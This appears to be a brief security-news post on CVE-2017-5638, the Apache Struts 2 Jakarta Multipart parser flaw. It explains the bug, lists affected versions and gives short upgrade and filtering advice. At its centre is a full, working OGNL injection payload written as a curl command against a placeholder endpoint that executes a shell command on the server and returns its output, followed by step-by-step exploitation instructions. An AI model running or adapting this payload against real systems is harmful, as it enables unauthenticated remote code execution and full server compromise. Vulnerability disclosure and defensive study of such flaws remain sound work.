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The CVE-2017-5638 vulnerability in Apache Struts 2 stems from flawed error handling within the Jakarta Multipart parser. When a malicious Content-Type header is sent in an HTTP request to a Struts 2 endpoint, the framework attempts to process it to generate an error message. However, the mechanism for constructing this error message improperly interprets the header’s values. An attacker can embed an Object-Graph Navigation Language (OGNL) expression within the Content-Type header. Due to the insufficient validation, this OGNL expression is evaluated by the Struts framework. OGNL is a powerful expression language that can execute arbitrary Java code on the server. This evaluation happens before any application-specific logic, allowing an unauthenticated attacker to achieve remote code execution with the privileges of the Struts application server, simply by crafting a malicious HTTP request with the payload in the Content-Type field.
Platform: Apache Struts 2
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-endpoint`
How Exploit:
Craft malicious Content-Type header containing OGNL expression. Send HTTP request to vulnerable Struts 2 endpoint. OGNL expression executes on server. Achieves arbitrary command execution.
Protection from this CVE
Upgrade to Struts 2.3.32 or 2.5.10.1. Implement WAF rules. Filter malicious Content-Type headers.
Impact:
Remote Code Execution. Full System Compromise. Data Theft. Service Disruption.
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Sources:
Reported By: nvd.nist.gov
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